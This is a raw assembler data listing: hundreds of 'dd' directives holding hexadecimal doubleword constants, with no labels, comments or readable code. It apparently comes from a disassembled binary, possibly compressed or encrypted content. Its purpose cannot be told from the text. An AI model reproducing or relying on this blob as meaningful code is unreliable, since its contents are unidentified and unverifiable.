		dd 5B73A488h, 1AE626C7h, 535D7401h, 41243EF9h, 0D794E8h
		dd 8DD38549h, 0E8CB3122h, 7B80BE1Eh, 4C7E04C0h,	1FBAE619h
		dd 402F2BE1h, 0F62E284Ah, 46FE2D42h, 52D6EE00h,	92B6E74Fh
		dd 2AB3008Dh, 1CB95D65h, 2E1F29C4h, 80E7438h, 4254C730h
		dd 17AF9770h, 3F59FA90h, 0EC00F7F0h, 0CF806A9h,	0E4008AF4h
		dd 89FC7E5Fh, 0F100F41h, 53A22F3Eh, 3B2C9FA0h, 8000550Eh
		dd 0A9F752B9h, 77138B2Ah, 1AA80796h, 0B008F49Fh, 4A95651Dh
		dd 54855600h, 5E2F412Eh, 6570E776h, 0AA810057h,	80744965h
		dd 0BE0207F0h, 0EB0F0263h, 0B24DE005h, 7F17F8C1h, 0EC880E11h
		dd 29604276h, 5245CC6h,	55455900h, 0EB3125B2h, 93AF00CAh
		dd 5C7D1404h, 0E1002CBCh, 100E2F71h, 77F1799Ch,	9A0A0078h
		dd 0EC6EDF3Eh, 52000B44h, 7367650Eh, 0EE9320h, 0D3815A84h
		dd 9B64C883h, 71BF1800h, 17514794h, 93F20052h, 31D0811Fh
		dd 0F80039D2h, 41D7408h, 5275F7h, 9A16B192h, 730A8BB0h
		dd 806D400h, 95419FE8h,	0B8495F01h, 0B87E007Eh,	9451A25Ch
		dd 740C0018h, 76453AF4h, 6F3ED5EFh, 0BD200735h,	95F00A9Eh
		dd 3CE25EAh, 0DB481408h, 0F7A0D81Eh, 3D00A5D0h,	8A9018A9h
		dd 7BC8FE04h, 6CF100F6h, 59AD14B9h, 107D865h, 0C7D8051h
		dd 0BBF27F50h, 5AEB0039h, 1FE81A03h, 0C8005220h, 0E224D455h
		dd 0F45148Ah, 4D485D37h, 0D03BA520h, 46BE5105h,	0D800912Eh
		dd 46048D21h, 0AA9E00C0h, 696FB20h, 0D900AB10h,	0FAEBFC4h
		dd 98177504h, 95700023h, 16F2B8D8h, 0BE005CD4h,	0F8573ECEh
		dd 54964h, 0B814922Ah, 6741526h, 5869A703h, 0D8D1D7C2h
		dd 13F681Ch, 3323E1FDh,	0D8458850h, 10FA03B2h, 48A05D3Dh
		dd 7ED20333h, 0C0800F40h, 704CA3Eh, 5E0E8803h, 304AC7C3h
		dd 0C40C51F1h, 0B2262F07h, 3A701B39h, 7A66320Eh, 2E467588h
		dd 0E5F45Ah, 5DD05110h,	0E800F83Eh, 0D825996Fh,	730BEE89h
		dd 4FAE0h, 0C822B7Ch, 265FAD56h, 2ACBC907h, 5B7046FBh
		dd 16BD1A21h, 0D0A58h, 1E8CED37h, 7800A06Bh, 0FF21CC43h
		dd 274D10h, 60DEDF75h, 7DF9B1E7h, 0A7B36400h, 0EB2AC154h
		dd 24A90707h, 57EA5953h, 0F57A501Fh, 84002065h,	2C413249h
		dd 7944A0h, 70B8220Ah, 62FB53BDh, 190507Fh, 3300A0FCh
		dd 13156A8h, 200BE5h, 5C15D524h, 6051F8C6h, 0DB040801h
		dd 2BAB4533h, 59C29E4h,	1D1CF527h, 10F28019h, 13001109h
		dd 87D18512h, 0EE881848h, 44012C1Ch, 57003F59h,	0D5721571h
		dd 2D00B479h, 0DF5AD4F6h, 44CBD6Dh, 503089D9h, 338C8004h
		dd 0A00CFD2h, 8D88EF18h, 219C11h, 0C36847C6h, 0E27B7880h
		dd 0B055500h, 22CA2EBAh, 60570044h, 4B011029h, 2801FA5Fh
		dd 16BE5250h, 4C4CB24h,	0D58300B3h, 0A981FBEBh,	9100187Ah
		dd 235060Ch, 0E2A876h, 5A402D7Ch, 52643155h, 83762AE4h
		dd 0A6187800h, 14D98906h, 0FCCE78FFh, 5A540E40h, 1CAFE4DDh
		dd 0A42BFAC3h, 830C1AA0h, 7430682Eh, 14020800h,	0FE6A24B2h
		dd 3F40F60h, 0AA0129B0h, 0CED8AC10h, 808A3EC0h,	0AF49741Fh
		dd 0DCE82B00h, 0E2F8B2h, 8DFC864Ah, 0D65048A4h,	7F000D7Eh
		dd 0C52F4423h, 7380C96Dh, 90D300A8h, 6774292Eh,	32003BD9h
		dd 1120C61h, 2036A5Bh, 0AB574555h, 946330C3h, 2D9935EBh
		dd 9014D05Eh, 1C8ACD1Fh, 66B000B9h, 0CE81DCAAh,	0C2D80088h
		dd 0C457016Ah, 430060C3h, 0F87D89A3h, 2F6FFABh,	996625A7h
		dd 4ADEEF7Eh, 3302C900h, 10CE307h, 1C8D180Bh, 0D8C26938h
		dd 9B1E825Ch, 0EC00428Ah, 8BF697C8h, 0ABBC0229h, 519ACAA1h
		dd 864BC640h, 5045480Ah, 500B91Fh, 44F0E83Fh, 34CE0095h
		dd 7DDB1EC3h, 0FE033E09h, 1058E665h, 0E7C0F8CDh, 0EA310066h
		dd 110DA5C3h, 100A229h,	0DC1C5E06h, 86957Eh, 70FEF684h
		dd 80905214h, 0D821E500h, 7D05253Bh, 4280E2Eh, 0A54261A6h
		dd 0D0609FA0h, 1C002DE3h, 715FC831h, 934335h, 8D092280h
		dd 89A59644h, 6610B900h, 148EBB8h, 55500018h, 0C395CCCFh
		dd 8300021Fh, 20CD0C10h, 0B0067Dh, 6CE8AAF2h, 0F312C879h
		dd 80037BFEh, 363E2E26h, 6A65D064h, 0CD770006h,	234D836Dh
		dd 9DB0145Bh, 15A65E14h, 0A39400D5h, 0BEA09A95h, 74EB0D3h
		dd 3F8624FEh, 0E72230D2h, 420F01B7h, 56A57h, 0F2088AECh
		dd 3B580051h, 0C24AE5FDh, 0A258FCDDh, 452401DBh, 4E776905h
		dd 3491E8h, 0D317DB79h,	0A1C267Ah, 9DC0C100h, 0A6C81DE0h
		dd 0F7070142h, 0D8C3F8C2h, 0FF2FD983h, 10B3D0F0h, 0E801E074h
		dd 601316FFh, 0CF0E6Ah,	2D461C66h, 7C09E381h, 0B6430403h
		dd 0C0C0D3A0h, 0D80108h, 48469466h, 65AD7AAAh, 745A3401h
		dd 0C081D9C8h, 0D8D0D0h, 85CCFCE0h, 26076B24h, 303CC200h
		dd 0ED805889h, 66813BB3h, 5AA59Fh, 0D485F442h, 1000D07Ah
		dd 3738273Fh, 0A241B6h,	0B804129Ah, 8B2EC6AAh, 0ED779201h
		dd 0B151520Ah, 45AC0E0h, 0B88DC850h, 0D137837Ch, 38302880h
		dd 130B0300h, 2B230A1Bh, 0AA5E0033h, 8084B14Ah,	0A200C0C7h
		dd 6AB550B6h, 1D35C5AEh, 3EF58B98h, 0CAB803F9h,	335868F2h
		dd 2B0328D8h, 44DB300h,	37F3C43Fh, 1733C55h, 5663004h
		dd 0BA1DC044h, 1D0FD276h, 405D786Ah, 0FEE16753h, 6E010028h
		dd 91F93538h, 22009409h, 0DAC144AAh, 16EC89h, 693E552h
		dd 92EA3FEh, 3133E81Eh,	1EA6C74Ch, 841403FDh, 0A272F03h
		dd 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h, 0D3B11994h
		dd 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h,	0CDF15898h
		dd 8FE5300h, 0EC1EFF26h, 91FD1400h, 65C2ADE1h, 47823B42h
		dd 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h, 0A62D0042h
		dd 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h, 0CC240764h
		dd 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh, 776A3A1Bh
		dd 7D249500h, 4C568F01h, 0E45C0C00h, 401563A6h,	0C5D90050h
		dd 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h,	19A30FC2h
		dd 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh, 6469F2h
		dd 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh,	0C3E33400h
		dd 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h, 3BA80628h
		dd 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h, 0E4DAF200h
		dd 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh, 0EAE7EC89h
		dd 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh, 88002A93h
		dd 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh, 6500E035h
		dd 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h, 0FA00A2BBh
		dd 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h, 7393C500h
		dd 5328BF07h, 641500C3h, 99200634h, 2B0578DDh, 5B5C1189h
		dd 60A478C2h, 30AEB15h,	0EC4502FAh, 0ADD85852h,	3B004683h
		dd 0FFAE6787h, 581849B9h, 0BE3E568Fh, 0F8712ACh, 96C0A938h
		dd 2C52D426h, 702AE309h, 0B6A83E4h, 3EEF9011h, 0CEB8001Ah
		dd 8F748D2h, 0AF982792h, 371D64F4h, 74ECAC16h, 9880C21Ch
		dd 0A5349714h, 7D2D0F72h, 19404312h, 0EC9E3937h, 0A446A00h
		dd 0CE64AA58h, 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh, 75138059h
		dd 508388EBh, 0A4C700AAh, 152553C6h, 2D004FF3h,	791E3AFCh
		dd 9A5BF8h, 1241FE5h
		dd 0AF11E459h, 0D0033D00h, 708498A4h, 0FEF28Fh,	736B6FF2h
		dd 8CAA5524h, 8E749001h, 5E9219A7h, 2785F8h, 8503D10h
		dd 2F0C2E64h, 48F83E0Ah, 8F00CDC6h, 5F4452B8h, 190A00E5h
		dd 0AFF49940h, 0CD3A7180h, 0C2248012h, 826F8A62h, 796E1DA6h
		dd 85550303h, 2EB1215Eh, 0A580F056h, 10658100h,	29DF4131h
		dd 3D8F774Fh, 46002FC6h, 97A323Fh, 0C500249Ch, 0E8842B54h
		dd 40B3F7h, 37181665h, 53429AFBh, 1331EA0Eh, 5F0E67EDh
		dd 263A62C0h, 1493008Dh, 97103644h, 0D6755420h,	0F3619801h
		dd 453B92DEh, 40CC32E9h, 4333CA9h, 0A126B700h, 29CA5C91h
		dd 862B5B01h, 141CF92Fh, 0C62D30h, 0FBA1FE45h, 83C22D7Fh
		dd 400EBF8h, 6A762170h,	136FCA5h, 75323C48h, 0C8180C24h
		dd 0AE0F1499h, 0E0232091h, 100EEB29h, 0F09004Bh, 12AFAA95h
		dd 0AC38C21Fh, 47F20079h, 4402652Ah, 407009F5h,	0DA8006F1h
		dd 22F77ED2h, 1C1DE2FEh, 0B3262D45h, 91BDC600h,	687130h
		dd 33485E79h, 0FA8A4FFCh, 28A97B00h, 39261980h,	2F7400F5h
		dd 5DF45FC4h, 2200915Eh, 0F86594CAh, 0E8CEB09Ah, 0E6B89Dh
		dd 9C14B218h, 2A0B24C3h, 0B0790800h, 8DFC5309h,	7D4EA48h
		dd 5BC3048Ah, 212450DDh, 0D200AAB7h, 0DB94719Ch, 6F5F44Bh
		dd 0B23A4BBh, 0C20098D1h, 3E988ACBh, 802113h, 7426C084h
		dd 87ABF417h, 31A9CF02h, 8FA7FABFh, 76FCC086h, 0B42CDADh
		dd 3D023267h, 48662A80h, 3F0044C4h, 2893DB49h, 3B5638A1h
		dd 539DB732h, 3E8647Fh,	2018421Ch, 9F0243A8h, 3D90A13Dh
		dd 0FF93EC8h, 20BCD91Eh, 41B1D44Fh, 11010033h, 0A4400343h
		dd 6700DE34h, 0D8B4D753h, 88FC3Fh, 0DAAD330Ch, 24CDC029h
		dd 0F753FE00h, 1CA7A5D2h, 3E500195h, 91DFC8A8h,	0B24460B5h
		dd 55AFF39h, 17314FEBh,	6A697F80h, 5B301E21h, 63FC09Eh
		dd 56846B4Ah, 0D3A38B2Ch, 0D044CF07h, 32EB6D70h, 40B20007h
		dd 343F0937h, 26002D1Fh, 18465698h, 0F48071B5h,	0CC020035h
		dd 0EE4CDA24h, 40001E09h, 8339B045h, 0D5CFAAh, 0A81AC91Ch
		dd 0BBA5EDDAh, 5A962F0Eh, 0D748C0A4h, 0F3FE63Ah, 35252991h
		dd 0C717BB60h, 1D006434h, 0A2D3D2E2h, 0E14F6Ah,	0B345233Eh
		dd 20A9840Ch, 0E4EC3Ah,	0AA5382B6h, 4C092293h, 0B00FFBADh
		dd 4FAF8157h, 0C010DA47h, 0F8BC1F2Ah, 9E031BB8h, 79BF4A85h
		dd 6425A0FBh, 0A60C0F17h, 758F9339h, 7DD8C560h,	0ED7A8D35h
		dd 0E4A83700h, 0D6561CCEh, 636E2A1h, 3465401h, 76007662h
		dd 0E8028891h, 30D7B5Ah, 707E843Bh, 0F0F77A85h,	0AC758224h
		dd 0D1E62798h, 9F952200h, 0D12A4FCh, 7A340047h,	0E804C8B9h
		dd 7E3CC0ADh, 8770808Eh, 4DBEE269h, 54F20E3Eh, 9767FC24h
		dd 8BA4D08Fh, 76072B5Ch, 0B5BCC025h, 0B752B620h, 0F0F6F1h
		dd 0D092717Ah, 0FE81385Ah, 13DF8C00h, 883F0848h, 0A58B01B0h
		dd 5E956B77h, 0BBBD3092h, 0D3005BF0h, 2704F3F0h, 11B974h
		dd 9669508Ah, 1729BBC4h, 587CC80Bh, 0FBCF0048h,	3EED805Ch
		dd 0FD00C74Eh, 35BFC195h, 320009E5h, 0E1731E82h, 85CA3Bh
		dd 54862F07h, 109E6AE7h, 37B47E01h, 4E05ACBEh, 0B16FE8C7h
		dd 393B3827h, 7822F980h, 0BF8EC59h, 6A3A401Ch, 0C38C49C0h
		dd 2AFE909h, 97B4ED7Ah,	11601674h, 2FE21CC7h, 0B1283C00h
		dd 0DF1ECBF9h, 0AD3D00DDh, 8AFA2730h, 653A22D2h, 34F49E60h
		dd 9FCF3B40h, 961152h, 0FF8E2E25h, 553C0310h, 0AF04E4E5h
		dd 1B0061F2h, 0D5A71477h, 37F4062h, 0A23F9A2Ch,	0C590832Eh
		dd 9D054B6Ah, 0C35691Fh, 455ACD00h, 0E79117h, 324A8110h
		dd 22C2098Fh, 0EFB8B000h, 0D6E22EFCh, 0AEEE00A7h, 5F74DADFh
		dd 6A00B945h, 0BA8D4CD5h, 1BDE453h, 0D6F8A032h,	0CC653B40h
		dd 0C8168E4Bh, 6603B809h, 88C9172Fh, 16D1CD99h,	0CF27A9h
		dd 0D3672D0Fh, 4B00246Ah, 0C73D9C15h, 388712h, 0E1B5358Eh
		dd 207B3AD8h, 3C5A101Ch, 0A14C2FCFh, 0EA9E0942h, 0C732D8h
		dd 14FB89B0h, 3CDDA53Ah, 0A75DD901h, 932156D8h,	0B795A0E3h
		dd 20B80010h, 8CBF553Dh, 7E0007F8h, 407D42FDh, 505AA41Fh
		dd 722BF1DAh, 25180EA7h, 8CE0336Dh, 0C81E1479h,	47895C00h
		dd 9298714Dh, 4ED51D64h, 7D2E40F1h, 0E637DA78h,	46B9C400h
		dd 4B363A3h, 0BCB41CD0h, 0DDCEC0ECh, 0E06F25DFh, 7668EA0Fh
		dd 603E4E20h, 3B644E2Bh, 487109h, 22759166h, 0A9944487h
		dd 15BD8900h, 79566AA8h, 3A430913h, 5900DBB3h, 0A2580693h
		dd 1D52FB00h, 9E947E59h, 1E3600F5h, 0CB349525h,	0AA003308h
		dd 0A7E4C068h, 0F27AC322h, 2BE00051h, 6B0D85E6h, 0B03F1F6Ch
		dd 6919DA4h, 0F64C880h,	4815F4CAh, 0C4002940h, 24269DF7h
		dd 8D00090Ah, 6B5867EBh, 0E106F0h, 86C403AFh, 912C2040h
		dd 2A621D01h, 4F28023Fh, 0B866F8h, 0A2F49C92h, 1C575E09h
		dd 0DF956700h, 729A3F2Eh, 0A1651C96h, 0B2444140h, 70CAFDE2h
		dd 1A07551Bh, 74B66068h, 8C9C9ED0h, 0B99D0042h,	0C8596D4Eh
		dd 38C01CECh, 0CAFC4F7h, 54D20050h, 2C634585h, 4100723Bh
		dd 154A0B4Fh, 355ECBh, 70AC4EA8h, 5FD5BD1h, 95796406h
		dd 90740B9Dh, 11FEE7h, 2DAD3FB5h, 0A66E64E7h, 0A410500h
		dd 0E3AFB666h, 3C6AF609h, 0F300FCBBh, 1354B0Bh,	9800FAC6h
		dd 0C046D13h, 901C4E06h, 0A4AA0075h, 8DB8F011h,	2400640Ah
		dd 0F243AB04h, 15007DEh, 0FF5F6AFBh, 0DC45E2DDh, 0B80BF7B9h
		dd 80CE9504h, 0C451611Ch, 3DBA0EA4h, 0AE7C5F0h,	386A8088h
		dd 3C039964h, 0A0108DA8h, 0D10B1DACh, 423483F2h, 14D8B2D8h
		dd 0EF486A4Eh, 27400086h, 96554152h, 4D050775h,	0A054BA08h
		dd 0FC7328BBh, 68008C74h, 6B2F135Ch, 4E5142h, 0D55247C2h
		dd 0DE9DA396h, 43DA4100h, 77A98F27h, 2DAC00C5h,	3A1DA6DFh
		dd 7E009D30h, 0D76967EDh, 13CA6Eh, 588DBADh, 847D8351h
		dd 76818700h, 0A19BCCB8h, 2D900089h, 98F50CE6h,	0D7975F4h
		dd 0BB167B00h, 310157FDh, 0C353064Bh, 662230EBh, 130073B8h
		dd 90FA0681h, 53B858h, 0AB2CDC59h, 30680D1Eh, 3E25E93Eh
		dd 0FC059C73h, 0EFC350C1h, 70E4BDB3h, 0F2213EB5h, 34232CFFh
		dd 0CD00F37h, 604485A7h, 31382433h, 80522831h, 54E41940h
		dd 87C99h, 144B2C11h, 7955A41Ah, 74A17D07h, 8B9303E8h
		dd 0F60AB024h, 0B35300DDh, 5010255Bh, 0BEE60D5h, 0E2308300h
		dd 9750E01h, 487E00FFh,	0A7521AA1h, 400D50Ch, 62BEE0DEh
		dd 8153A0h, 438FE831h, 3325D16Bh, 0E909D275h, 0EBB4B47h
		dd 0C8EF80D3h, 0EF26610h, 0B40A657Bh, 0AF80FEEEh, 5312EC43h
		dd 295EEF0Eh, 7206803Ah, 7BA2EAh, 7885463Bh, 0FAFFD11Ch
		dd 0D76C0E03h, 80FE4F0Fh, 472A7Ch, 7E8BF633h, 62C074C6h
		dd 52605307h, 0D1B77718h, 0C297BC0h, 12440F9Fh,	0CC20F804h
		dd 1A4626FFh, 0D9754F01h, 0A4DC4381h, 7FF59AE8h, 1C2C072Ah
		dd 30D6AB18h, 373FE828h, 1AC758h, 0EC99EA24h, 5FA858h
		dd 264C4442h, 5B2DAF53h, 0E094D500h, 3B1C98C4h,	74F9A0BEh
		dd 547300ECh, 3ED6AA20h, 5198E2C1h, 5F184300h, 89652E7Ah
		dd 545E0B24h, 360040D0h, 0E40594B1h, 7E75D40Eh,	81CC3A1h
		dd 4842C020h, 50EEA6h, 19D0DC7Ch, 0D3245303h, 70463700h
		dd 18C2A028h, 1834FA89h, 5A12FF82h, 0FC00AF74h,	5F39DB31h
		dd 0D8E2B0h, 7E1DFD94h,	7CF60542h, 82000EE6h, 680AA21Ch
		dd 974A18h, 40A5EB63h
		dd 37148D3Eh, 4BC23B00h, 0B2D6FB7Dh, 0EE7717h, 910C1867h
		dd 0C7D7C6B7h, 0AFC8A500h, 7F95A215h, 0B0040017h, 82D4BC92h
		dd 1C007B29h, 0E0E8515Fh, 0F303231h, 330A440Dh,	9B0C960h
		dd 3B02010Bh, 67D1C50h,	49DB608Bh, 9076010Ch, 78C3C129h
		dd 7EB8304Ah, 5A8C081Dh, 7F56CA40h, 1749BBh, 48DA1A32h
		dd 71546CB9h, 731F9E7Bh, 3D817256h, 75D13C89h, 868042BCh
		dd 2C438890h, 9C71BE97h, 4548CB00h, 58FDAD80h, 0CA1F2820h
		dd 0E81201E8h, 94684693h, 7034E4D8h, 7E0E37F6h,	0E0B7C11Bh
		dd 0FED74E97h, 0F7C0302h, 6D3D7AF5h, 601F4DF8h,	0D2F13304h
		dd 3F822D37h, 88B3638Ah, 0FA092h, 2808FD16h, 0E29C5E48h
		dd 0FE00187Ch, 24B6BA8Ch, 4E99E1h, 3172403Bh, 20A621EEh
		dd 9028A900h, 8DFEF55Eh, 54BF001Eh, 51C4D9A0h, 4470AB0Fh
		dd 1C4BFF00h, 38BB5D9Dh, 0FEA7132h, 7607B91h, 149500D7h
		dd 0AAD504F0h, 0F7303Bh, 5BDE97D1h, 107EB8Bh, 5DC9CAD4h
		dd 0E8871067h, 0D50027E9h, 18D02325h, 2EDAED84h, 3F70A56Ah
		dd 46FDC580h, 8E4769EAh, 0C3A1F400h, 838006C6h,	5198FFh
		dd 0EF37107Eh, 0C4AA142Ah, 638A5D0Fh, 351E977Ch, 2FB42480h
		dd 43D2D9h, 0CED555Ah, 70571908h, 871D79FAh, 54CF2088h
		dd 803C004Ah, 638A551h,	58A2B891h, 89000B15h, 88BC461Eh
		dd 0EA4E5690h, 1877F2h,	0EB1AC0Ah, 772E6D41h, 706A6200h
		dd 7899DF60h, 14510010h, 22836350h, 7D5C4161h, 73760E0Dh
		dd 0BF67606Eh, 44704Eh,	680E4A19h, 47667157h, 407C4100h
		dd 6E727660h, 4CE900F9h, 6BC47ADDh, 6409F07Fh, 80A66974h
		dd 534018CFh, 48770061h, 0B37C577Dh, 4E019046h,	7BE16ED3h
		dd 62F89E67h, 8E700EF9h, 0FF1C1743h, 826C6F1Fh,	603B7165h
		dd 731ECBC0h, 5F697D02h, 0E09EBE44h, 1E20AA15h,	800E1343h
		dd 522A6670h, 71000C9Bh, 0EE4A7A73h, 0F888DE65h, 1243001Ch
		dd 3637E72h, 61776D55h,	0B0604A00h, 0F07C6462h,	67700166h
		dd 460E4486h, 5276EC0Ch, 45B0711Ch, 743961C2h, 6EF6E063h
		dd 0C7D81DADh, 66F1404Dh, 76CC6A4Fh, 77146400h,	0A288477Fh
		dd 0C12A000Dh, 2E54720Ch, 4B000E73h, 0EA6F4363h, 581862h
		dd 6C1C6847h, 77875166h, 31706B00h, 1D466365h, 74487140h
		dd 1F077972h, 80615167h, 74945527h, 88070F28h, 4AE36F54h
		dd 6E40E29Eh, 0D373E06Bh, 429E0078h, 13048FEh, 6A0E654Bh
		dd 0C7636961h, 0D3E128C0h, 87C421FBh, 0F860F834h, 681E009Fh
		dd 486E38BFh, 95073052h, 1447CA1Ch, 3741150h, 61670046h
		dd 60886376h, 8BA05677h, 6D000A62h, 7AA87D66h, 0E851F0A1h
		dd 0AD210070h, 296F3A30h, 0E0FE626Bh, 9E68573Eh, 0EA0BE276h
		dd 24C8045h, 3140E65h, 1830A560h, 48B07742h, 0B6006C63h
		dd 74417289h, 613A71h, 1C0696Bh, 7A7B6DCBh, 0B7C24400h
		dd 5A0D10DCh, 0E01C7AE1h, 0B82A0175h, 0E639C31h, 0A92FC8B9h
		dd 80B3C400h, 7E2ABB5h,	84CB00A4h, 0A642143Ch, 0BC009996h
		dd 642D45E5h, 382ACEh, 7B2B4CE4h, 406A0B86h, 0BB505Ch
		dd 44A19946h, 7D0D3951h, 14101E15h, 67FC80C3h, 28B4C28h
		dd 3D00F00h, 0C2203C50h, 17403AF6h, 21742B80h, 1CA73E16h
		dd 0BA98FF00h, 61C40775h, 1D4775F7h, 0C2D1658Bh, 0AC95C031h
		dd 0E35E4DE0h, 51291800h, 1B147945h, 0D2380457h, 81E7E0FBh
		dd 60F1FFD3h, 24007CB5h, 2D46DD69h, 0EBFF497h, 0D55349Fh
		dd 0F7A42520h, 9178C912h, 14B8801Fh, 8C850F00h,	0F2AEB19h
		dd 0CE906544h, 7481644Fh, 71830E54h, 0D020CD66h, 1A004240h
		dd 122E3C32h, 262FE175h, 1C8FD16Dh, 0E861C085h,	0E6AC4A5Fh
		dd 1A552800h, 23224653h, 71110E44h, 528033B2h, 35752B03h
		dd 19998D00h, 0BE15811Dh, 0D0FA00A4h, 53451BACh, 9000C343h
		dd 4ECC175Ch, 0B140A8h,	100E5BE5h, 0ECF17A24h, 28B80AEEh
		dd 58A01A00h, 1BE82654h, 8BA71D76h, 0BED10069h,	0AE173B19h
		dd 18F58900h, 0C35B02D6h, 884E0055h, 3B975E9Dh,	0C000F2DFh
		dd 0A5CBDB1h, 7A768B25h, 0AA830E12h, 5A204E7Eh,	7AD026BEh
		dd 2844B51Fh, 1100B8D3h, 0FC5D8E40h, 335C2C8Ah,	183A0043h
		dd 1B10475h, 3FE9EB00h,	84ED1C80h, 1DF807C9h, 0F0C2FE9Dh
		dd 7A325434h, 0A556EC00h, 93FAB2AAh, 8F8100AFh,	0C84BBA75h
		dd 0EA00C434h, 4F7DF7FEh, 25378AAh, 8CA82F21h, 436084DBh
		dd 0FC7A46E9h, 930157F0h, 0C40C21CCh, 0B8C7C890h, 1C248D4Ah
		dd 0C0BD86F0h, 511216FDh, 0FF7D42B9h, 10FBA100h, 88FEF822h
		dd 0DFE90F41h, 0B3473E6Ch, 0EBA5815Eh, 0F0BAF0B4h, 0CCB70100h
		dd 0BDBFE02h, 8B170074h, 4ABF5CC3h, 760F09F8h, 545DF0Ch
		dd 0FB80EB0Fh, 2D6995h,	0E885D959h, 49BA1E37h, 5DCCC300h
		dd 0F07D833Ah, 0EBF93D10h, 365097h, 0D9028E0Fh,	0C80F6CADh
		dd 40160615h, 0EA9674Ch, 11758Dh, 0B7987827h, 0C514D885h
		dd 3C958700h, 0A15DAF9Fh, 8D5601B1h, 43CF49B5h,	1B2480C4h
		dd 0CDC340B9h, 47823C5Eh, 1B66A12h, 7F17FB56h, 851EC422h
		dd 0BC49403h, 0D0763F0Fh, 0F4BA3437h, 8C310053h, 1CEB7FD8h
		dd 0C02C3C90h, 27002784h, 558BF1B8h, 0EF360006h, 26DC4522h
		dd 0E8000A10h, 82D4BF3h, 32FEF4h, 8A2FEC2Eh, 0D76219D6h
		dd 830003E6h, 8EC1A5F8h, 14546C6h, 6EB029DEh, 0C8305399h
		dd 2600567Eh, 82502D13h, 259C7DDh, 44B3D375h, 0D3C095BAh
		dd 400A58Dh, 4FF53FEAh,	8C7CFFh, 42297AE9h, 34288B01h
		dd 0F0210407h, 0C70515Eh, 15F4F48h, 9B5A0F7h, 0D8FE3020h
		dd 603C3E57h, 6C5E8051h, 11790114h, 4A0F00D6h, 55D0DCE9h
		dd 743EBD56h, 2BDA80BCh, 40722EBh, 8053B84h, 12410C01h
		dd 0E028C310h, 0F600D311h, 1CBA2F13h, 3455251h,	87A2EBC6h
		dd 0E4A0BFE5h, 0AC00F24Fh, 6C7E8086h, 1A7434h, 512F822Ch
		dd 0CEB5E4Bh, 800377Ah,	0ABC66F8Ah, 0BA91C93h, 0CEAF8B5Ah
		dd 90D35707h, 16B5D1FDh, 0DDAEFC00h, 0DA96AF4h,	1BEE004Eh
		dd 0ECB34F89h, 0C0047D8h, 0B45EBD03h, 0D224BFh,	60923949h
		dd 9F6BE41h, 32E6B07h, 9E30E4BCh, 0D31840h, 244C283h, 0DCA12550h
		dd 805D203Eh, 80D0FF04h, 6583F0h, 0B106FE3Bh, 76BE695Bh
		dd 6EC0FA00h, 73BF1210h, 0E333000Ah, 0D854045Fh, 0A90352EBh
		dd 257435A4h, 6D069022h, 905A007Fh, 0E99527C3h,	8900AAFFh
		dd 821B4E42h, 0EC0257EBh, 0B8D3F5D6h, 5098F23h,	12D5BEDBh
		dd 0B4B00092h, 837825E9h, 46EC600h, 0E0EB72B6h,	7C75038Eh
		dd 14AEA1A8h, 0D99548A0h, 0EE000E4Eh, 279F2838h, 16770756h
		dd 0E7EB2DB4h, 0D92A62F1h, 0CF228E60h, 0CEFA3300h, 63B87924h
		dd 76DA0049h, 0D428B921h, 0B7007599h, 432FD9B2h, 2356A7h
		dd 464592EEh, 690C16EBh, 30B3B00h, 24CF2BCAh, 0DF8A006Fh
		dd 0AE4927Ch, 0A000275Fh, 91F333Ah, 0F383C50Ch,	0D8C8E931h
		dd 1E993EB5h, 82920E00h, 0EB68422Bh, 75014F00h,	3C6D2859h
		dd 96E60025h, 0D4DDC30Ch, 80072089h, 1DC0267Bh,	0B50098B7h
		dd 437EE0h, 0F5AC921Bh,	0B0C1D73Bh, 450C532Ch, 0EFC25000h
		dd 437FC6h, 2856A9F9h, 8F7D0EEh, 0A8517A00h, 2DA6D3AAh
		dd 8C4D005Dh, 0BF156726h, 13007387h, 3FE5F685h,	7031188h
		dd 0A4BC625Ch, 0E08DF7AEh, 0A9841D6h, 8024683Eh, 0FA92A97Dh
		dd 0F4C5E5A6h, 19640F34h, 0A500A8BEh, 358498F2h, 28033372h
		dd 9D863210h
		dd 0E628039h, 7A2C1D11h, 8158CA2h, 2B7D4F0Ch, 28783F03h
		dd 0A90C5820h, 63C510AFh, 75D0EC0h, 0D7B153C5h,	294E00B7h
		dd 3E037654h, 7D7A47D2h, 717CF190h, 609825E0h, 8563822Fh
		dd 6B006E96h, 0EC3DFB4Bh, 1E4C52ACh, 0EEAFF5DBh, 2EDC0941h
		dd 3752880h, 0D7B850B3h, 6899D500h, 2C78B22Fh, 49F2015Dh
		dd 0E27BCDE1h, 0A391F004h, 1253430Fh, 4EA2A0F0h, 29C6F5h
		dd 4138DA0Ch, 0C7FD04D8h, 4FEC3F00h, 1E4319DFh,	0C3E809D6h
		dd 880CA07h, 1AC11BC9h,	21B9F58h, 9C18153Bh, 1254E047h
		dd 0C550001h, 9FAD0575h, 161F8AF4h, 8414258h, 1A91CB03h
		dd 0AF46FCh, 0B454BF2Ah, 0D5E868E1h, 0B9CC8900h, 8D6C2730h
		dd 527E003Ch, 0A7EC044Bh, 0E400E85Bh, 104914D5h, 0A0DA2Ch
		dd 0B619890Ch, 0FAD0FB04h, 752D3C01h, 0E2F0D1F1h, 721C64D8h
		dd 0CC7B0024h, 15D63479h, 0B3003E35h, 64658420h, 384E3Dh
		dd 0DC5B6C21h, 91879D68h, 0A4A22404h, 4EC09015h, 71E4CB2h
		dd 5C7AB3FAh, 0AC6607Eh, 0EB07EE47h, 0D7FFE215h, 0DB497190h
		dd 45170314h, 0A130306h, 2E77F098h, 48F0F2ABh, 4A3E6FE5h
